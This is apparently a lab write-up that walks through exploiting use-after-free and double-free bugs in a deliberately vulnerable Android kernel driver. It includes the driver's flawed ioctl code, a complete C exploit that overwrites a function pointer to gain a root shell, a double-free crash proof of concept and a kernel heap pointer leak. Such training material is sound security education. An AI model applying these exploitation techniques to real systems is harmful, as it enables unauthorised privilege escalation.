Tryout Labs - Android Kernel UAF Exploitation

Introduction
This writeup explores a vulnerable Linux kernel driver from Mobile Hacking Lab’s Tryout Labs. The driver contains multiple Use-After-Free (UAF) vulnerabilities that can be exploited to achieve privilege escalation from a regular user to root.
Lab Setup
Navigate to the installed directory and run the Android kernel using the launch.sh script.
Saving 2048 bits of creditable seed for next boot
Starting syslogd: OK
Starting klogd: OK
Running sysctl: OK
Starting network: OK
Starting dhcpcd...
dhcpcd-10.0.1 starting
DUID 00:01:00:01:2c:d7:7d:4d:52:54:00:12:34:56
forked to background, child pid 130
no interfaces have a carrier
Starting sshd: [ 2.367362] NOHZ tick-stop error: Non-RCU local softirq work is pending, handler #10!!!
[ 2.443256] NOHZ tick-stop error: Non-RCU local softirq work is pending, handler #10!!!
OK
Welcome to Buildroot
buildroot login: user
Password:
[ 86.804368] NOHZ tick-stop error: Non-RCU local softirq work is pending, handler #10!!!
$ whoami
user
$
After booting, you’ll see a login screen. You can login with two accounts:
- root:root
- user:user
Understanding the Driver: A Simple Test
Before diving into vulnerabilities, let’s write a simple program to understand how the driver works. This will help us see what’s happening under the hood.
Basic Interaction Test
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
// Define the IOCTL commands (must match the driver)
#define CREATE_MSG _IO(1, 0)
#define CREATE_BUF _IO(1, 1)
#define READ_MSG _IO(1, 2)
#define LOG_MSG _IO(1, 3)
#define DELETE_MSG _IO(1, 4)
#define DELETE_BUF _IO(1, 5)
// Structure to communicate with the driver
struct user_req {
unsigned int buf_id;
unsigned int msg_id;
char buffer[128];
};
int main() {
// Step 1: Open the driver
int fd = open("/proc/tryout", O_RDWR);
if (fd < 0) {
perror("Failed to open /proc/tryout");
return 1;
}
printf("[✓] Successfully opened /proc/tryout\n");
// Step 2: Create a message with ID 1
struct user_req *req1 = calloc(1, sizeof(struct user_req));
req1->msg_id = 1;
if (ioctl(fd, CREATE_MSG, req1) == 0) {
printf("[✓] Created message with ID: %d\n", req1->msg_id);
} else {
printf("[✗] Failed to create message\n");
}
// Step 3: Create a buffer and link it to the message
struct user_req *req2 = calloc(1, sizeof(struct user_req));
req2->msg_id = 1;
req2->buf_id = 0;
strcpy(req2->buffer, "Hello from userspace!");
if (ioctl(fd, CREATE_BUF, req2) == 0) {
printf("[✓] Created buffer with ID: %d and linked to message %d\n",
req2->buf_id, req2->msg_id);
printf(" Buffer content: \"%s\"\n", req2->buffer);
} else {
printf("[✗] Failed to create buffer\n");
}
// Step 4: Read the message buffer back
struct user_req *req3 = calloc(1, sizeof(struct user_req));
req3->msg_id = 1;
if (ioctl(fd, READ_MSG, req3) == 0) {
printf("[✓] Read message buffer successfully\n");
printf(" Buffer content: \"%s\"\n", req3->buffer);
} else {
printf("[✗] Failed to read message\n");
}
// Step 5: Call the log function
struct user_req *req4 = calloc(1, sizeof(struct user_req));
req4->msg_id = 1;
printf("[*] Calling LOG_MSG (check dmesg for kernel log)...\n");
ioctl(fd, LOG_MSG, req4);
// Step 6: Clean up
struct user_req *req5 = calloc(1, sizeof(struct user_req));
req5->buf_id = 0;
if (ioctl(fd, DELETE_BUF, req5) == 0) {
printf("[✓] Deleted buffer with ID: %d\n", req5->buf_id);
}
struct user_req *req6 = calloc(1, sizeof(struct user_req));
req6->msg_id = 1;
if (ioctl(fd, DELETE_MSG, req6) == 0) {
printf("[✓] Deleted message with ID: %d\n", req6->msg_id);
}
// Clean up
free(req1);
free(req2);
free(req3);
free(req4);
free(req5);
free(req6);
close(fd);
return 0;
}
Compile and Run
# Move the vulnerable driver to root
scp -P 10021 tryoutlab.ko root@127.0.0.1:/root
# Login and load the driver
insmod tryoutlab.ko
[ 76.461555] tryoutlab: loading out-of-tree module taints kernel.
[ 76.463324] tryoutlab: module license 'MobileHackingLab' taints kernel.
[ 76.464009] Disabling lock debugging due to kernel taint
[ 76.497581] Welcome to MobileHackingLab - Android Kernel Tryoutlab
[ 76.497664] Interact with driver --> /proc/tryout
# Compile test.c
aarch64-linux-gnu-gcc -w -static test.c -o test
# Move the test binary to user
scp -P 10021 test user@127.0.0.1:/home/user
# Run test
./test
Our test code now works perfectly in the user space.
$ ./test
[✓] Successfully opened /proc/tryout
[ 76.500975]
[ 162.240497] New message created
[✓] Created message with ID: 1
[ 162.240698]
[ 162.243487] Buffer created and linked to msg
[✓] Created buffer with ID: 0 and linked to message 1
Buffer content: "Hello from userspace!"
[ 162.243591]
[ 162.244293] Msg buffer read
[✓] Read message buffer successfully
Buffer content: "Hello from userspace!"
[*] Calling LOG_MSG (check dmesg for kernel log)...
[ 162.244385]
[ 162.244984] Message is logged: 1
[ 162.245050]
[ 162.245197] Buffer removed
[✓] Deleted buffer with ID: 0
[ 162.245242]
[✓] Deleted message with ID: 1
$
Vulnerability Analysis
Driver Overview
The vulnerable driver implements a message management system with the following IOCTL commands:
CREATE_MSG- Creates a message object (kmalloc-128)
case CREATE_MSG:
if (msgs[msg_id]){
printk(KERN_INFO "Msg with id already exist");
return 0;
}
obj = kmalloc(sizeof(struct msg),GFP_KERNEL);
obj->id = msg_id;
obj->secret_func = priv_esc;
obj->log_func = kernel_log;
msgs[msg_id] = obj;
printk(KERN_INFO "New message created");
break;
CREATE_BUF- Creates a buffer and links it to a message
case CREATE_BUF:
if (buffers[buf_id] || !msgs[msg_id]){
printk(KERN_INFO "Buffer already exist or msg doesn't exist");
return 0;
}
buf = kmalloc(sizeof(req.buffer),GFP_KERNEL);
memcpy(buf,req.buffer,sizeof(req.buffer));
buffers[buf_id] = buf;
msgs[msg_id]->buffer = buf;
printk(KERN_INFO "Buffer created and linked to msg");
break;
READ_MSG- Reads a message’s buffer
case READ_MSG:
if (!msgs[msg_id]){
printk(KERN_INFO "Msg with msg_id doesn't exist");
return 0;
}
obj = msgs[msg_id];
memcpy(req.buffer,obj->buffer,sizeof(req.buffer));
ret = copy_to_user((struct user_req __user*)arg,&req,sizeof(struct user_req));
printk(KERN_INFO "Msg buffer read");
break;
LOG_MSG- Calls the logging function pointer
case LOG_MSG:
if (!msgs[msg_id]){
printk(KERN_INFO "Msg with msg_id doesn't exist");
return 0;
}
obj = msgs[msg_id];
obj->log_func(obj->id);
break;
DELETE_MSG- Frees a message object
case DELETE_MSG:
if (!msgs[msg_id]){
printk(KERN_INFO "Msg with msg_id doesn't exist");
return 0;
}
obj = msgs[msg_id];
kfree(obj);
break;
DELETE_BUF- Frees a buffer
case DELETE_BUF:
if (!buffers[buf_id])
{
printk(KERN_INFO "Buffer with buf_id doesn't exist");
return 0;
}
buf = buffers[buf_id];
kfree(buf);
buffers[buf_id] = NULL;
printk(KERN_INFO "Buffer removed");
break;
Data Structures
The driver uses two key structures:
struct user_req {
unsigned int buf_id;
unsigned int msg_id;
char buffer[128];
};
struct msg {
void (*log_func)(unsigned int); // Function pointer at offset 0
void (*secret_func)(void); // priv_esc function at offset 8
char *buffer; // Buffer pointer at offset 16
unsigned int id; // Message ID at offset 24
char pad[96]; // Padding to 128 bytes
};
Critical Vulnerabilities
1. Use-After-Free in DELETE_BUF
When DELETE_BUF is called, the buffer is freed and only one of the references to it is cleared:
case DELETE_BUF:
if (!buffers[buf_id])
{
printk(KERN_INFO "Buffer with buf_id doesn't exist");
return 0;
}
buf = buffers[buf_id];
kfree(buf);
buffers[buf_id] = NULL; // Only clears the global buffers[] entry
// BUG: msgs[msg_id]->buffer still points to freed memory!
During creation, the buffer is assigned to two pointers:
memcpy(buf, req.buffer, sizeof(req.buffer));
buffers[buf_id] = buf;
msgs[msg_id]->buffer = buf; // Message object also stores the pointer
Both buffers[buf_id] and msgs[msg_id]->buffer reference the same allocated buffer, so both must be cleared when it’s freed. However, the code only NULLs buffers[buf_id], leaving msgs[msg_id]->buffer pointing to freed memory and creating a UAF.
2. Use-After-Free in DELETE_MSG
When DELETE_MSG is called, the message object is freed but only one of the references is handled:
case DELETE_MSG:
if (!msgs[msg_id]){
printk(KERN_INFO "Msg with msg_id doesn't exist");
return 0;
}
obj = msgs[msg_id];
kfree(obj);
// BUG: msgs[msg_id] still points to freed memory!
The global msgs[] array entry still points to the freed memory, allowing subsequent operations on the freed object.
3. Missing Bounds Check
The bounds check is ineffective:
if (req.msg_id > MAX || req.buf_id > MAX) {
printk(KERN_INFO "Incorrect msg_id or buf_id");
// BUG: Function continues execution!
}
4. Double Free Vulnerability
The combination of the UAF in DELETE_MSG creates a double free vulnerability. Since msgs[msg_id] is never set to NULL after freeing, we can call DELETE_MSG twice on the same message ID, causing the kernel to free the same memory twice.
case DELETE_MSG:
if (!msgs[msg_id]){ // This check passes because pointer is not NULL!
printk(KERN_INFO "Msg with msg_id doesn't exist");
return 0;
}
obj = msgs[msg_id]; // Gets dangling pointer
kfree(obj); // Frees already-freed memory!
// msgs[msg_id] STILL not cleared!
Why This Happens:
- First
DELETE_MSG: Frees the memory but leavesmsgs[msg_id]pointing to it - Second
DELETE_MSG: The checkif (!msgs[msg_id])passes because the pointer is not NULL kfree()is called on already-freed memory- Kernel heap allocator metadata gets corrupted
- System crashes or becomes unstable
Exploitation Strategy
The exploit uses a clever technique called “heap feng shui” - carefully arranging memory allocations and frees to control what data ends up where in kernel memory. Our goal is simple but powerful:
- Phase 1: Information Leak - Discover where the
priv_esc()function lives in kernel memory - Phase 2: Memory Corruption - Place that address where we want it
- Phase 3: Privilege Escalation - Trick the kernel into calling our function
Let’s Break Down What Happens
Step 1 & 2: Create and Free (Setting the Trap)

Step 3: Finding priv_esc Address
We need to know where priv_esc() lives in memory. We can find it using:
$ cat /proc/kallsyms | grep "priv_esc"
ffff800008e50000 t priv_esc [tryoutlab]
This address ffff800008e50000 is our golden ticket! In little-endian format (how ARM64 stores multi-byte values):

Step 4: The Memory Swap (The Magic Trick)
// We create a buffer with our payload
uint8_t payload[8] = {0x00, 0x00, 0xe5, 0x08, 0x00, 0x80, 0xff, 0xff};
memcpy(request->buffer, payload, sizeof(payload));
ioctl(fd, CREATE_BUF, request);
What happens in kernel memory:

The Confusion:
- The kernel’s buffer system thinks this is buffer data
- But
msgs[69]thinks this is still a message object! - The first 8 bytes of our buffer will be interpreted as the
log_funcpointer
Step 5: Hijacking Execution (Game Over)
printf("uid: %d\n", getuid()); // UID: 1000 (regular user)
ioctl(fd, LOG_MSG, request); // Trigger the exploit!
printf("uid: %d\n", getuid()); // UID: 0 (root!)
What the kernel does when LOG_MSG is called:

Full exploit.c code
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define CREATE_MSG _IO(1, 0)
#define CREATE_BUF _IO(1, 1)
#define READ_MSG _IO(1, 2)
#define LOG_MSG _IO(1, 3)
#define DELETE_MSG _IO(1, 4)
#define DELETE_BUF _IO(1, 5)
struct user_req {
unsigned int buf_id;
unsigned int msg_id;
char buffer[128];
};
int main() {
char *driver = "/proc/tryout";
int fd = open(driver, O_RDWR);
struct user_req *request = malloc(sizeof(struct user_req));
memset(request, 0, sizeof(struct user_req));
request->msg_id = 69;
request->buf_id = 69;
ioctl(fd, CREATE_MSG, request);
ioctl(fd, DELETE_MSG, request);
memset(request->buffer, 0x0, sizeof(request->buffer));
uint8_t payload[8] = {0x00, 0x00, 0xe5, 0x08,
0x00, 0x80, 0xff, 0xff}; // address of priv_esc function
memcpy(request->buffer, payload, sizeof(payload));
printf("uid: %d\n", getuid());
ioctl(fd, CREATE_BUF, request);
ioctl(fd, LOG_MSG, request);
printf("uid: %d\n", getuid());
system("/bin/busybox sh");
close(fd);
return 0;
}
# compile the exploit
aarch64-linux-gnu-gcc -w -static exploit.c -o exploit
# move the binary to Android user
scp -P 10021 exploit user@127.0.0.1:/home/user
We run the exploit and we are now root
$ ./exploit
[ 48.187300] New message created
[ 48.187356]
uid: 1000
[ 48.187694]
[ 48.192920] Buffer created and linked to msg
[ 48.193692]
uid: 0
$ whoami
root
$
Double Free Vulnerability
Since msgs[msg_id] contains a dangling pointer after DELETE_MSG, we can trigger a double free by calling DELETE_MSG twice on the same message ID. While not directly exploitable for privilege escalation in this scenario, it causes a Denial of Service (DoS) and crashes the driver.
How it happens:
case DELETE_MSG:
if (!msgs[msg_id]){
printk(KERN_INFO "Msg with msg_id doesn't exist");
return 0;
}
obj = msgs[msg_id];
kfree(obj); // First free
// BUG: msgs[msg_id] is NOT set to NULL!
Since msgs[msg_id] is never cleared, calling DELETE_MSG again will:
- Pass the null check (because
msgs[msg_id]still points to freed memory) - Call
kfree()on already-freed memory - Corrupt the kernel heap allocator’s metadata
- Crash the system
Visualizing the Double Free:

Proof of Concept - Double Free:
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define CREATE_MSG _IO(1, 0)
#define DELETE_MSG _IO(1, 4)
struct user_req {
unsigned int buf_id;
unsigned int msg_id;
char buffer[128];
};
int main() {
char *driver = "/proc/tryout";
int fd = open(driver, O_RDWR);
struct user_req *request = malloc(sizeof(struct user_req));
memset(request, 0, sizeof(struct user_req));
request->msg_id = 69;
request->buf_id = 69;
printf("[*] Creating message with ID 69...\n");
ioctl(fd, CREATE_MSG, request);
printf("[*] Deleting message (first time)...\n");
ioctl(fd, DELETE_MSG, request);
printf("[!] Triggering double free...\n");
ioctl(fd, DELETE_MSG, request);
close(fd);
return 0;
}
compile the crash.c and move it into android and run it.
$ ./crash
[*] Creating message with ID 69...
[ 35.978551] New message created
[*] Deleting message (first time)...
[ 35.978652]
[!] Triggering double free...
[ 35.980684]
we can trigger it by trying to move something to android using scp.
[ 263.265849] Unable to handle kernel paging request at virtual address 004c000000000a08
[ 263.266779] Mem abort info:
[ 263.267028] ESR = 0x96000004
[ 263.267318] EC = 0x25: DABT (current EL), IL = 32 bits
[ 263.267719] SET = 0, FnV = 0
[ 263.268012] EA = 0, S1PTW = 0
[ 263.268310] Data abort info:
[ 263.268595] ISV = 0, ISS = 0x00000004
[ 263.268882] CM = 0, WnR = 0
[ 263.269067] [004c000000000a08] address between user and kernel address ranges
[ 263.269388] Internal error: Oops: 96000004 [#1] PREEMPT SMP
[ 263.269762] Modules linked in: tryoutlab(PO)
[ 263.270920] CPU: 0 PID: 189 Comm: sshd Tainted: P O 5.10.107-g62f70baf15f0-dirty #1
[ 263.271367] Hardware name: linux,dummy-virt (DT)
[ 263.271881] pstate: 60000085 (nZCv daIf -PAN -UAO -TCO BTYPE=--)
[ 263.272384] pc : update_load_avg+0x2c/0x454
[ 263.272747] lr : attach_entity_cfs_rq+0x40/0x21c
[ 263.273003] sp : ffff80001209bc40
[ 263.273235] x29: ffff80001209bc40 x28: ffff000002619200
[ 263.273676] x27: 0000000000000000 x26: 0000000000000000
[ 263.273964] x25: 0000000000000000 x24: 0000000000000000
[ 263.274182] x23: ffff000000000002 x22: ffff000002c86d80
[ 263.274403] x21: 0000000000000000 x20: ffff0000026192c0
[ 263.274611] x19: ffff000000000002 x18: ffff0000026192c0
[ 263.274799] x17: 0000000000000000 x16: 0000000000000000
[ 263.274950] x15: 0000000000000003 x14: 000000000191ece6
[ 263.275104] x13: 0000000001b708e6 x12: ffff800011b22000
[ 263.275267] x11: 000000000000ba73 x10: ffff800010e6a8d0
[ 263.275680] x9 : 0000000002e7374e x8 : 000000000000036c
[ 263.275946] x7 : 0000003d2b0db000 x6 : 0000000000000000
[ 263.276090] x5 : 0000000000000000 x4 : 0000000000000000
[ 263.276276] x3 : 0000000000000000 x2 : 0000000000000000
[ 263.276520] x1 : 0000000000000000 x0 : 1b4c000000000000
[ 263.276902] Call trace:
[ 263.277145] update_load_avg+0x2c/0x454
[ 263.277261] attach_entity_cfs_rq+0x40/0x21c
[ 263.277363] task_change_group_fair+0xcc/0x1f0
[ 263.277465] sched_change_group+0x4c/0xd4
[ 263.277556] sched_move_task+0x16c/0x194
[ 263.277650] autogroup_move_group+0x88/0x174
[ 263.277763] sched_autogroup_create_attach+0xc4/0x214
[ 263.277888] ksys_setsid+0xcc/0x100
[ 263.277974] __arm64_sys_setsid+0x10/0x20
[ 263.278071] el0_svc_common.constprop.0+0x74/0x1b4
[ 263.278176] do_el0_svc+0x28/0x9c
[ 263.278269] el0_svc+0x14/0x20
[ 263.278348] el0_sync_handler+0xa4/0x130
[ 263.278440] el0_sync+0x1a0/0x1c0
[ 263.278791] Code: 2a0203f5 a90363f7 f9409800 f9406021 (f9450416)
[ 263.279150] ---[ end trace e20a9a97a88ab088 ]---
[ 263.279349] note: sshd[189] exited with preempt_count 3
Now we can use double free exploit to leak values
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define CREATE_MSG _IO(1, 0)
#define CREATE_BUF _IO(1, 1)
#define READ_MSG _IO(1, 2)
#define DELETE_MSG _IO(1, 4)
struct user_req {
unsigned int buf_id;
unsigned int msg_id;
char buffer[128];
};
int main() {
char *driver = "/proc/tryout";
int fd = open(driver, O_RDWR);
struct user_req *request = malloc(sizeof(struct user_req));
// Fill with recognizable pattern
memset(request, 0x41, sizeof(struct user_req));
request->msg_id = 69;
request->buf_id = 69;
printf("[*] Creating message with ID 69...\n");
ioctl(fd, CREATE_MSG, request);
printf("[*] Deleting message (UAF trigger)...\n");
ioctl(fd, DELETE_MSG, request);
printf("[*] Creating buffer (reuses freed message slot)...\n");
ioctl(fd, CREATE_BUF, request);
// Clear and read back
memset(request, 0x0, sizeof(struct user_req));
request->msg_id = 69;
request->buf_id = 69;
printf("[*] Reading message to leak heap pointer...\n");
ioctl(fd, READ_MSG, request);
printf("[+] Leaked kernel heap pointer: ");
// The buffer pointer is at offset 16 in the msg structure
// In little-endian, we read it backwards
for(int i = 23; i > 15; i--){
printf("%02x", (unsigned char)request->buffer[i]);
}
printf("\n");
// Alternative: Extract as uint64_t
uint64_t leaked_ptr = 0;
memcpy(&leaked_ptr, &request->buffer[16], 8);
printf("[+] Leaked pointer (as number): 0x%016lx\n", leaked_ptr);
close(fd);
return 0;
}
we leak kernel heap pointer
$ ./leak
[*] Creating message with ID 69...
[ 31.024852] New message created
[*] Deleting message (UAF trigger)...
[ 31.024889]
[*] Creating buffer (reuses freed message slot)...
[ 31.025390]
[ 31.025732] Buffer created and linked to msg
[*] Reading message to leak heap pointer...
[ 31.025800]
[ 31.026175] Msg buffer read
[+] Leaked kernel heap pointer: ffff000003499f00
[+] Leaked pointer (as number): 0xffff000003499f00
$